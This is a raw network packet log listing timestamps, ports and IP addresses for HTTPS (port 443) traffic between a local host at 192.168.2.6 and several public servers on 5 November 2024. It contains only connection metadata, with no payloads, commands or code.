Nov 5, 2024 20:50:57.639873981 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.639913082 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.641688108 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.641702890 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.641767025 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.641772985 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.641813040 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.642146111 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.642160892 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.642213106 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.642219067 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.642257929 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.643045902 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.643060923 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.643148899 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.643155098 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.643197060 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.763700962 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.763721943 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.763849020 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.763859034 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.763904095 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.765656948 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.765672922 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.765743017 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.765749931 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.765791893 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.766062021 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.766082048 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.766140938 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.766149044 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.766189098 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.766211033 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.766729116 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.766747952 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.766819000 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.766824961 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.766870022 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.886044979 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.886060953 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.886127949 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.886135101 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.886178970 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.887149096 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.887162924 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.887204885 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.887209892 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.887250900 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.887270927 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.888456106 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.888470888 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.888528109 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.888534069 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.888592005 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.889427900 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.889441967 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.889486074 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.889494896 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.889532089 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.889553070 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.889950991 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.889965057 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.890011072 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.890016079 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.890048981 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.890064001 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.010029078 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.010054111 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.010118961 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.010147095 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.010163069 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.010195971 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.013752937 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.013767958 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.013830900 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.013837099 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.013868093 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.014172077 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.014185905 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.014235973 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.014240980 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.014280081 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.014666080 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.014679909 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.014725924 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.014729977 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.014777899 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.051989079 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.052004099 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.052073002 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.052082062 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.052123070 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.133151054 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.133166075 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.133234978 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.133255005 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.133290052 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.133308887 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.135579109 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.135592937 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.135653973 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.135658979 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.135694981 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.135885000 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.135900021 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.135965109 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.135968924 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.136002064 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.136459112 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.136471987 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.136539936 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.136543989 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.136583090 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.136804104 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.136817932 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.136883974 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.136888981 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.136928082 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.257065058 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.257085085 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.257150888 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.257175922 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.257194996 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.257215977 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.258055925 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.258114100 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.258120060 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.258136988 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.258178949 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.258244038 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.258285046 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.258289099 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.258444071 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.358489990 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:58.358511925 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:58.435918093 CET	49724	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:50:58.435956001 CET	443	49724	40.113.110.67	192.168.2.6
Nov 5, 2024 20:50:58.436062098 CET	49724	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:50:58.436873913 CET	49724	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:50:58.436889887 CET	443	49724	40.113.110.67	192.168.2.6
Nov 5, 2024 20:50:59.533490896 CET	443	49724	40.113.110.67	192.168.2.6
Nov 5, 2024 20:50:59.533561945 CET	49724	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:50:59.558576107 CET	49724	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:50:59.558599949 CET	443	49724	40.113.110.67	192.168.2.6
Nov 5, 2024 20:50:59.558820963 CET	443	49724	40.113.110.67	192.168.2.6
Nov 5, 2024 20:50:59.562594891 CET	49724	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:50:59.562660933 CET	49724	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:50:59.562668085 CET	443	49724	40.113.110.67	192.168.2.6
Nov 5, 2024 20:50:59.563047886 CET	49724	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:50:59.603331089 CET	443	49724	40.113.110.67	192.168.2.6
Nov 5, 2024 20:50:59.809201002 CET	443	49724	40.113.110.67	192.168.2.6
Nov 5, 2024 20:50:59.820842981 CET	49724	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:50:59.820874929 CET	443	49724	40.113.110.67	192.168.2.6
Nov 5, 2024 20:50:59.820899010 CET	49724	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:50:59.820946932 CET	49724	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:01.374128103 CET	49725	443	192.168.2.6	20.223.35.26
Nov 5, 2024 20:51:01.374166965 CET	443	49725	20.223.35.26	192.168.2.6
Nov 5, 2024 20:51:01.374200106 CET	49726	443	192.168.2.6	20.223.35.26
Nov 5, 2024 20:51:01.374238014 CET	443	49726	20.223.35.26	192.168.2.6
Nov 5, 2024 20:51:01.374270916 CET	49725	443	192.168.2.6	20.223.35.26
Nov 5, 2024 20:51:01.374427080 CET	49726	443	192.168.2.6	20.223.35.26
Nov 5, 2024 20:51:01.377054930 CET	49726	443	192.168.2.6	20.223.35.26
Nov 5, 2024 20:51:01.377074003 CET	443	49726	20.223.35.26	192.168.2.6
Nov 5, 2024 20:51:01.377873898 CET	49725	443	192.168.2.6	20.223.35.26
Nov 5, 2024 20:51:01.377883911 CET	443	49725	20.223.35.26	192.168.2.6
Nov 5, 2024 20:51:02.452934027 CET	443	49726	20.223.35.26	192.168.2.6
Nov 5, 2024 20:51:02.453028917 CET	49726	443	192.168.2.6	20.223.35.26
Nov 5, 2024 20:51:02.470947027 CET	443	49725	20.223.35.26	192.168.2.6
Nov 5, 2024 20:51:02.471029997 CET	49725	443	192.168.2.6	20.223.35.26
Nov 5, 2024 20:51:02.868947029 CET	49727	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:02.868997097 CET	443	49727	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:02.869067907 CET	49727	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:02.869654894 CET	49727	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:02.869668961 CET	443	49727	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:02.909540892 CET	49725	443	192.168.2.6	20.223.35.26
Nov 5, 2024 20:51:02.909565926 CET	443	49725	20.223.35.26	192.168.2.6
Nov 5, 2024 20:51:02.909914970 CET	443	49725	20.223.35.26	192.168.2.6
Nov 5, 2024 20:51:02.910012007 CET	49725	443	192.168.2.6	20.223.35.26
Nov 5, 2024 20:51:02.922111988 CET	49726	443	192.168.2.6	20.223.35.26
Nov 5, 2024 20:51:02.922139883 CET	443	49726	20.223.35.26	192.168.2.6
Nov 5, 2024 20:51:02.922420979 CET	443	49726	20.223.35.26	192.168.2.6
Nov 5, 2024 20:51:02.922518015 CET	49726	443	192.168.2.6	20.223.35.26
Nov 5, 2024 20:51:02.923851967 CET	49725	443	192.168.2.6	20.223.35.26
Nov 5, 2024 20:51:02.923891068 CET	443	49725	20.223.35.26	192.168.2.6
Nov 5, 2024 20:51:02.924478054 CET	49726	443	192.168.2.6	20.223.35.26
Nov 5, 2024 20:51:02.924515009 CET	443	49726	20.223.35.26	192.168.2.6
Nov 5, 2024 20:51:03.174154997 CET	443	49726	20.223.35.26	192.168.2.6
Nov 5, 2024 20:51:03.174176931 CET	443	49726	20.223.35.26	192.168.2.6
Nov 5, 2024 20:51:03.174237967 CET	49726	443	192.168.2.6	20.223.35.26
Nov 5, 2024 20:51:03.174247026 CET	443	49726	20.223.35.26	192.168.2.6
Nov 5, 2024 20:51:03.174287081 CET	49726	443	192.168.2.6	20.223.35.26
Nov 5, 2024 20:51:03.176625967 CET	49726	443	192.168.2.6	20.223.35.26
Nov 5, 2024 20:51:03.176657915 CET	443	49726	20.223.35.26	192.168.2.6
Nov 5, 2024 20:51:03.176806927 CET	49726	443	192.168.2.6	20.223.35.26
Nov 5, 2024 20:51:03.307559013 CET	443	49725	20.223.35.26	192.168.2.6
Nov 5, 2024 20:51:03.307578087 CET	443	49725	20.223.35.26	192.168.2.6
Nov 5, 2024 20:51:03.307626009 CET	49725	443	192.168.2.6	20.223.35.26
Nov 5, 2024 20:51:03.307642937 CET	443	49725	20.223.35.26	192.168.2.6
Nov 5, 2024 20:51:03.307678938 CET	49725	443	192.168.2.6	20.223.35.26
Nov 5, 2024 20:51:03.307699919 CET	49725	443	192.168.2.6	20.223.35.26
Nov 5, 2024 20:51:03.315927982 CET	49725	443	192.168.2.6	20.223.35.26
Nov 5, 2024 20:51:03.317140102 CET	443	49725	20.223.35.26	192.168.2.6
Nov 5, 2024 20:51:03.317195892 CET	49725	443	192.168.2.6	20.223.35.26
Nov 5, 2024 20:51:03.686886072 CET	49673	443	192.168.2.6	173.222.162.64
Nov 5, 2024 20:51:03.751349926 CET	49674	443	192.168.2.6	173.222.162.64
Nov 5, 2024 20:51:03.983808041 CET	443	49727	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:03.983880043 CET	49727	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:03.985563993 CET	49727	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:03.985574007 CET	443	49727	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:03.985816956 CET	443	49727	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:03.991517067 CET	49727	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:03.991595030 CET	49727	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:03.991600990 CET	443	49727	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:03.991781950 CET	49727	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:03.995896101 CET	49672	443	192.168.2.6	173.222.162.64
Nov 5, 2024 20:51:04.035339117 CET	443	49727	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:04.241947889 CET	443	49727	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:04.242435932 CET	49727	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:04.242459059 CET	443	49727	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:04.242482901 CET	49727	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:04.242513895 CET	49727	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:05.748822927 CET	443	49704	173.222.162.64	192.168.2.6
Nov 5, 2024 20:51:05.748905897 CET	49704	443	192.168.2.6	173.222.162.64
Nov 5, 2024 20:51:06.127593994 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:06.127631903 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:06.127707005 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:06.127993107 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:06.128006935 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:06.883774996 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:06.883898020 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:06.886161089 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:06.886172056 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:06.886432886 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:06.899029016 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:06.939341068 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.165405989 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.165436029 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.165452003 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.165601015 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.165613890 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.165795088 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.316612959 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.316641092 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.316754103 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.316754103 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.316778898 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.316836119 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.319210052 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.319228888 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.319380999 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.319389105 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.319551945 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.322335005 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.322351933 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.322488070 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.322494984 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.324323893 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.324343920 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.324448109 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.324448109 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.324456930 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.326669931 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.400295973 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.400317907 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.400415897 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.400428057 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.400716066 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.549745083 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.549768925 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.549854994 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.549870968 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.549884081 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.550081015 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.550101995 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.550162077 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.550163031 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.550170898 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.550266981 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.551007986 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.551024914 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.551127911 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.551127911 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.551136017 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.551254034 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.551273108 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.551285982 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.551291943 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.551302910 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.551647902 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.666794062 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.666820049 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.666891098 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.666899920 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.666922092 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.666958094 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.667105913 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.667121887 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.667187929 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.667193890 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.667256117 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.754509926 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.754528999 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.754587889 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.754596949 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.754640102 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.754996061 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.755059004 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.755064964 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.755078077 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.755104065 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.755131960 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.755244970 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.755254984 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.755264044 CET	49729	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.755270958 CET	443	49729	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.836257935 CET	49730	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.836277962 CET	443	49730	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.836540937 CET	49730	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.838180065 CET	49731	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.838201046 CET	443	49731	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.838247061 CET	49731	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.839268923 CET	49732	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.839308977 CET	443	49732	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.839409113 CET	49732	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.841156960 CET	49733	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.841183901 CET	443	49733	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.841418982 CET	49733	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.842266083 CET	49734	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.842273951 CET	443	49734	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.842452049 CET	49733	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.842463017 CET	443	49733	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.842489958 CET	49734	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.842720032 CET	49730	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.842734098 CET	443	49730	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.842768908 CET	49734	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.842782021 CET	443	49734	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.842926979 CET	49731	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.842936039 CET	443	49731	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:07.843033075 CET	49732	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:07.843040943 CET	443	49732	13.107.253.45	192.168.2.6
